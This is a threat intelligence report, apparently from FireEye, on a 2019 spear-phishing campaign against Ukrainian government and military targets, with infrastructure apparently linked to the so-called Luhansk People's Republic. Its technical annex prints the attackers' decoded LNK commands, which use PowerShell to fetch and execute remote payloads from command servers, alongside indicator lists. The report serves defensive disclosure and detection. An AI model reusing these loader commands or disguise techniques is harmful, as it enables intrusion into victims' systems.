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Threat Intelligence

Spear Phishing Campaign Targets Ukraine Government and Military; Infrastructure Reveals Potential Link to So-Called Luhansk People's Republic

April 16, 2019

Written by: John Hultquist, Ben Read, Oleg Bondarenko, Chi-en Shen

In early 2019, FireEye Threat Intelligence identified a spear phishing email targeting government entities in Ukraine. The spear phishing email included a malicious LNK file with PowerShell script to download the second-stage payload from the command and control (C&C) server. The email was received by military departments in Ukraine and included lure content related to the sale of demining machines.

This latest activity is a continuation of spear phishing that targeted the Ukrainian Government as early as 2014. The email is linked to activity that previously targeted the Ukrainian Government with RATVERMIN. Infrastructure analysis indicates the actors behind the intrusion activity may be associated with the so-called Luhansk People's Republic (LPR).

The spear phishing email, sent on Jan. 22, 2019, used the subject "SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD," and the sender was forged as Armtrac, a defense manufacturer in the United Kingdom (Figure 1).


Figure 1: The spear phishing email

The email included an attachment with the filename "Armtrac-Commercial.7z" (MD5: 982565e80981ce13c48e0147fb271fe5). This 7z package contained "Armtrac-Commercial.zip" (MD5: e92d01d9b1a783a23477e182914b2454) with two benign Armtrac documents and one malicious LNK file with a substituted icon (Figure 2).


Figure 2: LNK with substituted icon

  • Armtrac-20T-with-Equipment-35078.pdf (MD5: 0d6a46eb0d0148aafb34e287fcafa68f) is a benign document from the official Armtrac website.
  • SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf (MD5: bace12f3be3d825c6339247f4bd73115) is a benign document from the official Armtrac website.
  • SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk (MD5: ec0fb9d17ec77ad05f9a69879327e2f9) is a malicious LNK file that executes a PowerShell script. Interestingly, while the LNK file used a forged extension to impersonate a PDF document, the icon was replaced with a Microsoft Word document icon.

Sponsor Potentially Active Since 2014

Compilation times indicate that this actor, who focused primarily on Ukraine, may have been active since at least 2014. Their activity was first reported by FireEye Threat Intelligence in early 2018. They gradually increased in sophistication and leveraged both custom and open-source malware.

The 2018 campaign used standalone EXE or self-extracting RAR (SFX) files to infect victims. However, their recent activity showed increased sophistication by leveraging malicious LNK files. The group used open-source QUASARRAT and the RATVERMIN malware, which we have not seen used by any other groups. Domain resolutions and malware compile times suggest this group may have been active as early as 2014. Filenames and malware distribution data suggest the group is primarily focused on targeting Ukrainian entities.

Association With So-Called Luhansk People's Republic

FireEye Threat Intelligence analysis uncovered several indications that the actors behind this activity have ties to the breakaway so-called Luhansk People's Republic (LPR).

Registrant Overlap with Official So-Called LPR Website

Infrastructure analysis suggests these operators are linked to the so-called LPR and the persona "re2a1er1." The domain used as C&C by the previous LNK file (sinoptik[.]website) was registered under the email "re2a1er1@yandex.ru." The email address also registered the following domains.


Domains Registered by re2a1er1@yandex.ru Possible Mimicked Domains Description Possible Targeted Country
24ua[.]website 24tv.ua A large news portal in Ukraine UA
censor[.]website censor.net.ua A large news portal in Ukraine UA
fakty[.]website fakty.ua A large news portal in Ukraine UA
groysman[.]host Volodymyr Borysovych Groysman V. B. Groysman is a politician who has been the Prime Minister of Ukraine since April 14, 2016 UA
gordon.co[.]ua gordonua.com A large mail service in Ukraine UA
mailukr[.]net ukr.net A large news portal in Ukraine UA
me.co[.]ua me.gov.ua Ukraine's Ministry of Economic Development and Trade UA
novaposhta[.]website novaposhta.ua Ukraine's largest logistics services company UA
olx[.]website olx.ua Ukraine's largest online ad platform UA
onlineua[.]website online.ua A large news portal in Ukraine UA
rst[.]website rst.ua One of the largest car sales websites in Ukraine UA
satv[.]pw Unknown TV-related UA
sinoptik[.]website sinoptik.ua The largest weather website in Ukraine UA
spectator[.]website spectator.co.uk A large news portal in the UK UK
tv.co[.]ua Unknown TV-related UA
uatoday[.]website uatoday.news A large news portal in Ukraine UA
ukrposhta[.]website ukrposhta.ua State Post of Ukraine UA
unian[.]pw unian.net A large news portal in Ukraine Unknown
vj2[.]pw Unknown Unknown UA
xn--90adzbis.xn--c1avg Not Applicable Punycode of Ministry of State Security of the So-Called Luhansk People’s Republic’s website UA
z1k[.]pw zik.ua A large news portal in Ukraine UA
milnews[.]info Unknown Military news UA

Table 1: Related infrastructure

One of the domains, "xn--90adzbis.xn--c1avg" is a Punycode of "мгблнр.орг," which is the official website of the Ministry of State Security of the So-Called LPR (Figure 3). Ukraine legislation describes so-called LPR as "temporarily occupied territory" and its government as an "occupying administration of the Russian Federation."


Figure 3: Official website of the Ministry of State Security of the So-Called Luhansk People's Republic (МГБ ЛНР - Министерство Государственной Безопасности Луганской Народной Республики)


This actor has likely been active since at least 2014, and its continuous targeting of the Ukrainian Government suggests a cyber espionage motivation. This is supported by the ties to the so-called LPR's security service. While more evidence is needed for definitive attribution, this activity showcases the accessibility of competent cyber espionage capabilities, even to sub-state actors. While this specific group is primarily a threat to Ukraine, nascent threats to Ukraine have previously become international concerns and bear monitoring.

Technical Annex

The LNK file (SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk [MD5: ec0fb9d17ec77ad05f9a69879327e2f9]) included the following script (Figure 4) to execute a PowerShell script with Base64-encoded script:


vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -e

Figure 4: LNK file script

The following command (Figure 5) was received after decoding the Base64-encoded string:


vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -e iex(iwr -useb
http://sinoptik[.]website/EuczSc)"", 0 : window.close")

Figure 5: LNK file command

The PowerShell script sends a request to URL "http://sinoptik[.]website/EuczSc." Unfortunately, the server was unreachable during analysis.

Network Infrastructure Linked to Attackers

The passive DNS records of the C&C domain "sinoptik[.]website" included the following IPs:


Host/Domain Name First Seen IP
sinoptik[.]website 2018-09-17
sinoptik[.]website 2018-06-08
sinoptik[.]website 2018-03-16
www.sinoptik[.]website 2019-01-17

Table 2: Network infrastructure linked to attackers

Domains previously connected to RATVERMIN (aka VERMIN) and QUASARRAT (aka QUASAR) also resolved to IP "" and include the following:


Malware MD5 C&C Malware Family
47161360b84388d1c254eb68ad3d6dfa akamainet022[.]info QUASARRAT
242f0ab53ac5d194af091296517ec10a notifymail[.]ru RATVERMIN
07633a79d28bb8b4ef8a6283b881be0e akamainet066[.]info QUASARRAT
5feae6cb9915c6378c4bb68740557d0a akamainet024[.]info RATVERMIN
dc0ab74129a4be18d823b71a54b0cab0 akamaicdn[.]ru QUASARRAT
bbcce9c91489eef00b48841015bb36c1 cdnakamai[.]ru QUASARRAT

Table 3: Additional malware linked to the attackers

RATVERMIN is a .NET backdoor that FireEye Threat Intelligence started tracking in March 2018. It has also been reported in public reports and blog posts.

Operators Highly Aggressive, Proactive

The actor is highly interactive with its tools and has responded within a couple of hours of receiving a new victim, demonstrating its ability to react quickly. An example of this hands-on style of operation occurred during live malware analysis. RATVERMIN operators observed that the malware was running from an unintended target at approximately 1700 GMT (12:00 PM Eastern Standard Time on a weekday) and promptly executed the publicly available Hidden Tear ransomware (saved to disk as hell0.exe, MD5: 8ff9bf73e23ce2c31e65874b34c54eac). The ransomware process was killed before it could execute successfully. If the Hidden Tear continued execution, a file would have been left on the desktop with the following message:

"Files have been encrypted with hidden tear. Send me some bitcoins or kebab. And I also hate night clubs, desserts, being drunk."

When live analysis resumed, the threat group behind the attack started deleting all the analysis tools on the machine. Upon resetting the machine and executing the malware again, this time with a text file open asking why they sent ransomware, the threat group responded by sending the following message via RATVERMIN's C&C domain (Figure 6):


C&C to Victim
HTTP/1.1 200 OK
Content-Length: 5203
Content-Type: multipart/related;
Server: Microsoft-HTTPAPI/2.0
MIME-Version: 1.0
Date: Tue, 20 Mar 2018 19:01:26 GMT
Content-Transfer-Encoding: 8bit
Content-Type: application/xop+xml;charset=utf-8;type="application/soap+xml"
Mad ?

Figure 6: RATVERMIN's C&C domain message

Related Samples

Further research uncovered additional LNK files with PowerShell scripts that connect to the same C&C server.

  • Filename: Висновки. S021000262_1901141812000. Scancopy_0003. HP LaserJet Enterprise 700 M775dn(CC522A).docx.lnk (Ukrainian translation: Conclusion)
    • MD5: fe198e90813c5ee1cfd95edce5241e25
    • Description: LNK file also has the substituted Microsoft Word document icon and sends a request to the same C&C domain
    • C&C: http://sinoptik[.]website/OxslV6


PowerShell activity (Command Line Arguments):
vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell.exe -c iex(iwr -useb
http://sinoptik[.]website/OxslV6)"", 0 : window.close")

Figure 7: Additional LNK files with PowerShell scripts

  • Filename: КМУ база даних.zip (Ukrainian translation: Cabinet of Ministers of Ukraine database)
    • MD5: a5300dc3e19f0f0b919de5cda4aeb71c
    • Description: ZIP archive containing a malicious LNK file
  • Filename: Додаток.pdf (Ukrainian translation: Addition)
    • MD5: a40fb835a54925aea12ffaa0d76f4ca7
    • Description: Benign decoy document
  • Filename: КМУ_база_даних_органи_упр,_СГ_КМУ.rtf.lnk
    • MD5: 4b8aac0649c3a846c24f93dc670bb1ef
    • Description: Malicious LNK that executes a PowerShell script
    • C&C: http://cdn1186[.]site/zG4roJ
-NoP -NonI -W hidden -Com "$cx=New-Object -ComObject
$cx.ResponseText|.( ''.Remove.ToString()[14,50,27]-Join'')"

Figure 8: Additional LNK files with PowerShell scripts

FireEye Detection

FireEye detection names for the indicators in the attack include the following:


FireEye Endpoint Security
FireEye Network Security
  • 86300142_Backdoor.Win.QUASARRAT
  • 86300140_Backdoor.Win.QUASARRAT
  • 86300141_Backdoor.Win.QUASARRAT
  • Malware.archive
  • FE_Backdoor_MSIL_RATVERMIN_1
  • 33340392_Backdoor.Win.RATVERMIN
  • 33340391_Backdoor.Win.RATVERMIN
FireEye Email Security
  • FE_MSIL_Crypter
  • FE_Backdoor_MSIL_RATVERMIN_1
  • Malware.Binary.lnk
  • Malware.Binary.exe
  • Malware.archive
  • Backdoor.Win.QUASARRAT
  • Backdoor.Win.RATVERMIN
  • CustomPolicy.MVX.exe
  • CustomPolicy.MVX.65003.ExecutableDeliveredByEmail

Summary of Indicators

Malicious package and LNK files

  • 982565e80981ce13c48e0147fb271fe5
  • e92d01d9b1a783a23477e182914b2454
  • ec0fb9d17ec77ad05f9a69879327e2f9
  • fe198e90813c5ee1cfd95edce5241e25
  • a5300dc3e19f0f0b919de5cda4aeb71c
  • 4b8aac0649c3a846c24f93dc670bb1ef

Related File

  • 0d6a46eb0d0148aafb34e287fcafa68f (decoy document)
  • bace12f3be3d825c6339247f4bd73115 (decoy document)
  • a40fb835a54925aea12ffaa0d76f4ca7 (decoy document)

Quasar RAT Samples

  • 50b1f0391995a0ce5c2d937e880b93ee
  • 47161360b84388d1c254eb68ad3d6dfa
  • 07633a79d28bb8b4ef8a6283b881be0e
  • dc0ab74129a4be18d823b71a54b0cab0
  • bbcce9c91489eef00b48841015bb36c1
  • 3ddc543facdc43dc5b1bdfa110fcffa3
  • 5b5060ebb405140f87a1bb65e06c9e29
  • 80b3d1c12fb6aaedc59ce4323b0850fe
  • d2c6e6b0fbe37685ddb865cf6b523d8c
  • dc0ab74129a4be18d823b71a54b0cab0
  • dca799ab332b1d6b599d909e17d2574c


  • 242f0ab53ac5d194af091296517ec10a
  • 5feae6cb9915c6378c4bb68740557d0a
  • 5e974179f8ef661a64d8351e6df53104
  • 0b85887358fb335ad0dd7ccbc2d64bb4
  • 9f88187d774cc9eaf89dc65479c4302d
  • 632d08020499a6b5ee4852ecadc79f2e
  • 47cfac75d2158bf513bcd1ed5e3dd58c
  • 8d8a84790c774adf4c677d2238999eb5
  • 860b8735995df9e2de2126d3b8978dbf
  • 987826a19f7789912015bb2e9297f38b
  • a012aa7f0863afbb7947b47bbaba642e
  • a6ecfb897ca270dd3516992386349123
  • 7e2f581f61b9c7c71518fea601d3eeb3
  • b5a6aef6286dd4222c74257d2f44c4a5
  • 0f34508772ac35b9ca8120173c14d5f0 (RATVERMIN's keylogger)
  • 86d2493a14376fbc007a55295ef93500 (RATVERMIN's encryption tool)
  • 04f1aa35525a44dcaf51d8790d1ca8a0 (RATVERMIN helper functions)
  • 634d2a8181d08d5233ca696bb5a9070d (RATVERMIN helper functions)
  • d20ec4fdfc7bbf5356b0646e855eb250 (RATVERMIN helper functions)
  • 5ba785aeb20218ec89175f8aaf2e5809 (RATVERMIN helper functions)
  • b2cf610ba67edabb62ef956b5e177d3a (RATVERMIN helper functions)
  • 7e30836458eaad48bf57dc1decc27d09 (RATVERMIN helper functions)
  • df3e16f200eceeade184d6310a24c3f4 (RATVERMIN crypt functions)
  • 86d2493a14376fbc007a55295ef93500 (RATVERMIN crypt functions)
  • d72448fd432f945bbccc39633757f254 (RATVERMIN task scheduler tool)
  • e8e954e4b01e93f10cefd57fce76de25 (RATVERMIN task scheduler tool)

Hidden Tear Ransomware

  • 8ff9bf73e23ce2c31e65874b34c54eac

Malicious Infrastructure

  • akamainet022[.]info
  • akamainet066[.]info
  • akamainet024[.]info
  • akamainet023[.]info
  • akamainet066[.]info
  • akamainet021[.]info
  • www.akamainet066[.]info
  • www.akamainet023[.]info
  • www.akamainet022[.]info
  • www.akamainet021[.]info
  • akamaicdn[.]ru
  • cdnakamai[.]ru
  • mailukr[.]net
  • notifymail[.]ru
  • www.notifymail[.]ru
  • tech-adobe.dyndns[.]biz
  • sinoptik[.]website
  • cdn1186[.]site
  • news24ua[.]info
  • http://sinoptik[.]website/EuczSc
  • http://sinoptik[.]website/OxslV6
  • http://cdn1186[.]site/zG4roJ

Correlated Infrastructure

  • (pdns)
  • 1ua[.]eu (pdns)
  • 24ua[.]website (pdns, registered by re2a1er1@yandex.ru)
  • cdn1214[.]site (pdns)
  • censor[.]website (pdns, registered by re2a1er1@yandex.ru)
  • fakty[.]website (pdns, registered by re2a1er1@yandex.ru)
  • gismeteo[.]website (pdns, registered by re2a1er1@yandex.ru)
  • lmeta[.]eu (pdns)
  • me.co[.]ua (pdns, registered by re2a1er1@yandex.ru)
  • milnews[.]info (pdns)
  • mj2[.]pw (pdns, registered by re2a1er1@yandex.ru)
  • novaposhta[.]website (pdns, registered by re2a1er1@yandex.ru)
  • olx[.]website (pdns, registered by re2a1er1@yandex.ru)
  • www.olx[.]website (pdns, registered by re2a1er1@yandex.ru)
  • onlineua[.]website (pdns, registered by re2a1er1@yandex.ru)
  • r2a[.]pw (pdns, registered by re2a1er1@yandex.ru)
  • rarnbier[.]ru (pdns)
  • rbc[.]website (pdns)
  • rst[.]website (pdns, registered by re2a1er1@yandex.ru)
  • satv[.]pw (pdns, registered by re2a1er1@yandex.ru)
  • slaviasoft[.]website (pdns, registered by re2a1er1@yandex.ru)
  • tv.co[.]ua (pdns, registered by re2a1er1@yandex.ru)
  • uatoday[.]website (pdns, registered by re2a1er1@yandex.ru)
  • ukrnews[.]website (pdns, registered by re2a1er1@yandex.ru)
  • www.ukrnews[.]website (pdns, registered by re2a1er1@yandex.ru)
  • ukrposhta[.]website (pdns, registered by re2a1er1@yandex.ru)
  • unian[.]pw (pdns)
  • vj2[.]pw (pdns, registered by re2a1er1@yandex.ru)
  • windowsupdate.kiev[.]ua (pdns)
  • xn--90adzbis.xn--c1avg (registered by re2a1er1@yandex.ru)
  • z1k[.]pw (pdns, registered by re2a1er1@yandex.ru)
  • (pdns)
  • (pdns)
  • (pdns of many malicious domains)
  • (pdns)
  • (pdns)
  • (pdns)
  • (pdns)
  • (pdns)
  • (pdns)
  • (pdns)
  • (pdns)
  • (pdns)
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